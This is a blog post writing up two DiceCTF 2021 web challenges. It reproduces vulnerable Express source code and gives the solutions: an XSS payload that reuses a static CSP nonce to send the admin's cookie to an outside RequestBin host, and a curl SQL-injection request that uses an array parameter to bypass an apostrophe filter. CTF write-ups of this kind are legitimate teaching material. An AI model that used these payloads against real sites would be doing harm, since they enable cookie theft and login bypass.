Skip to content
Lachlan Mitchell
GitHubLinkedInTwitter

DiceCTF 2021

Cryptography, Exploits, Writeups2 min read

This weekend, I participated in DiceCTF 2021 just for fun. I wanted to write about a couple of challenges that I found interesting, along with the processes I went through to solve them.

Babier CSP

This challenge requires us to steal a cookie set on an admin bot. It provides us with the source of a backend that both serves a simple page and generates the secret that the admin sets its cookie to. From a quick glance at the page that gets served, it seems that an XSS attack might be viable:

1const express = require('express');
2const crypto = require("crypto");
3const config = require("./config.js");
4const app = express()
5const port = process.env.port || 3000;
6
7const SECRET = config.secret;
8const NONCE = crypto.randomBytes(16).toString('base64');
9
10const template = name => `
11<html>
12
13${name === '' ? '': `<h1>${name}</h1>`}
14<a href='#' id=elem>View Fruit</a>
15
16<script nonce=${NONCE}>
17elem.onclick = () => {
18 location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
19}
20</script>
21
22</html>
23`;
24
25app.get('/', (req, res) => {
26 res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
27 res.send(template(req.query.name || ""));
28})
29
30app.use('/' + SECRET, express.static(__dirname + "/secret"));
31
32app.listen(port, () => {
33 console.log(`Example app listening at http://localhost:${port}`)
34})

From the above-highlighted points of interest, two things are immediately clear:

  1. If the page is loaded with a name query param present, it will be injected directly into the source.
  2. A NONCE constant is generated once at application startup and set as the nonce for the content security policy script-src directive.

If you try visiting the page with a crafted query such as https://babier-csp.dicec.tf/?name=%3C/h1%3E%3Cem%3EUh%20oh...%3C/em%3E%3Cbr%3E, you'll be able to see the potential for exploitation.

The simple page affected by an XSS attack.

If you try the same thing with script tags, however, you'll receive a CSP error in the console. Fortunately, because the NONCE constant is consistent between page loads, you can simply tack it on to each script tag using the nonce attribute.

From here, it's evident that we can steal the cookie from the admin bot by getting it to visit the XSS vulnerable page. A simple payload like the following should do:

1<script nonce="LRGWAXOY98Es0zz0QOVmag==">
2 document.location = "https://example.x.pipedream.net/?" + document.cookie;
3</script>

Now just spin up a new RequestBin, URL encode your payload, and submit it to the admin bot.

The admin bot request caught by RequestBin.

There's our secret! As per the source code, we should use it as a route name to get the flag: dice{web_1s_a_stat3_0f_grac3_857720}.

Missing Flavortext

This was an interesting challenge with a clear focus on SQL injection. Similar to Babier CSP, we're given a simple page to visit and the source of the backend that serves it. The page contains a login form that posts data to a /login route. If you were to provide the correct credentials, it would send back the flag. Unfortunately, since the password is randomized at application startup, we're going to need to find a different way in...

1const crypto = require('crypto');
2const db = require('better-sqlite3')('db.sqlite3')
3
4// remake the `users` table
5db.exec(`DROP TABLE IF EXISTS users;`);
6db.exec(`CREATE TABLE users(
7 id INTEGER PRIMARY KEY AUTOINCREMENT,
8 username TEXT,
9 password TEXT
10);`);
11
12// add an admin user with a random password
13db.exec(`INSERT INTO users (username, password) VALUES (
14 'admin',
15 '${crypto.randomBytes(16).toString('hex')}'
16)`);
17
18const express = require('express');
19const bodyParser = require('body-parser');
20
21const app = express();
22
23// parse json and serve static files
24app.use(bodyParser.urlencoded({ extended: true }));
25app.use(express.static('static'));
26
27// login route
28app.post('/login', (req, res) => {
29 if (!req.body.username || !req.body.password) {
30 return res.redirect('/');
31 }
32
33 if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
34 return res.redirect('/');
35 }
36
37 // see if user is in database
38 const query = `SELECT id FROM users WHERE
39 username = '${req.body.username}' AND
40 password = '${req.body.password}'
41 `;
42
43 let id;
44 try { id = db.prepare(query).get()?.id } catch {
45 return res.redirect('/');
46 }
47
48 // correct login
49 if (id) return res.sendFile('flag.html', { root: __dirname });
50
51 // incorrect login
52 return res.redirect('/');
53});
54
55app.listen(3000);

There are two key issues in this code that we're going to exploit. The first is in how the SQL query is created on lines 38–41. Interpolating raw user inputs in that fashion is a massive security hole. The only "sanitization" applied to it is in the few lines before, where the credentials are rejected if either one contains an apostrophe character. At a first glance, this seems to prevent us from executing the standard SQLi technique of escaping from an input and modifying the query that way. Fortunately, the second key issue makes it possible:

1app.use(bodyParser.urlencoded({ extended: true }));

By opting into the extended mode of the URL-encoded body-parser middleware, the server will now accept extended input types such as arrays and objects. If we modify the username or password in such a way, we can alter the behavior of the v.includes('\'') method call to work in our favor.

1curl -X "POST" "https://missing-flavortext.dicec.tf/login" \
2 --data-urlencode "username=admin" \
3 --data-urlencode "password[]=' OR 1 --"

Because arrays with a single element are cleanly converted to strings in JavaScript, we'll end up skipping the apostrophe check while still containing one. This will lead to our malformed payload being constructed as we want:

1SELECT id FROM users WHERE
2 username = 'admin' AND
3 password = '' OR 1 --'

This will correctly select the id of the admin user, skipping the intended credential check and returning the flag: dice{sq1i_d03sn7_3v3n_3x1s7_4nym0r3}.

© 2022 by Lachlan Mitchell. All rights reserved.
Theme by LekoArts